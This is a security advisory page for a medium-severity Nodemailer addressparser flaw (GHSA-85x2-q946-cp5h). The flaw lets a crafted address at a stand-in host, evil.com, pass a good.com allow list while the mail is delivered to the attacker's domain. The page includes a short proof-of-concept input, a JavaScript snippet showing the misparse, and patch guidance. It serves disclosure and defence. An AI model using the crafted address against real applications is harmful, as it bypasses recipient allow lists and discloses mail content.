Nodemailer: A ">" inside a quoted local part ends an angle-addr early in addressparser, delivering to a domain the header does not nameGHSA-85x2-q946-cp5h
MEDIUMFix: nodemailer/nodemailer@1cd57d2GHSA-85x2-q946-cp5h is a medium-severity (CVSS 6.5) vulnerability in nodemailer. A fix is available for nodemailer — see the affected versions and patch details below.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
nodemailernpmDescription
Vulnerability summary
addressparser ends an angle-addr at the first > it sees, including one inside a quoted local part, a comment or a domain literal. The domain is then read off the text in front of that >. <"[email protected]>"@good.com> is the mailbox "[email protected]>"@good.com under RFC 5322, and Nodemailer read it as an address at evil.com. The unbracketed spelling of the same value was already read correctly. Affected: 3.0.0 through 10.1.3.
Attacker capabilities
The attacker controls the text of a recipient or sender address that an application passes to Nodemailer, for example a To value entered in a contact or invite form, or the header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 address that conformant parsers accept without defects.
Realistic exploitation scenario
An application lets users send invitations or notifications only to addresses at an allowed domain and validates the submitted value with a conformant parser or by checking its domain. The attacker submits <"[email protected]>"@good.com>, which validates as a good.com mailbox. Nodemailer then parses the same value, issues RCPT TO:<"\"a"@evil.com> and the message, with whatever content the application puts into it, is delivered to the attacker's domain. The security boundary crossed is the application's recipient allow list. In the inbound direction, mailparser reports a different address than a conformant reader of the same header, so a display or policy layer built on the two disagrees.
Proof of concept
const addressparser = require('nodemailer/lib/addressparser');
console.log(addressparser("<\"[email protected]>\"@good.com>"));
// [ { address: '"[email protected]', name: '@good.com>' } ]
Python's email._header_value_parser.get_address_list reads the same value as "[email protected]>"@good.com, with no defects reported.
The envelope a message gets is built from the same parse, so sendMail({ to: "<\"[email protected]>\"@good.com>" }) issues the RCPT TO shown above.
Security impact
Mail that an application intends for an allowed domain is delivered to a domain chosen by the attacker, which discloses its content. It is a security vulnerability rather than a parsing bug because the misreading only occurs for values that a conformant validator approves, so validation done the right way is bypassed. Affected are applications that pass user influenced addresses to Nodemailer and consumers of the standalone parser such as mailparser.
The fix tracks quoted strings, comments and domain literals inside an angle-addr and reads only a > outside them.
Found in an internal review of addressparser on 2026-10-18. Verified on 3.0.0, 6.9.16 and 10.1.3.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | nodemailer | ≥ 3.0.0&&< 10.1.4 | 10.1.4npm install nodemailer@10.1.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for nodemailer, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update nodemailer to 10.1.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-85x2-q946-cp5h is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is GHSA-85x2-q946-cp5h in your dependencies?
Find it across npm, including transitive dependencies.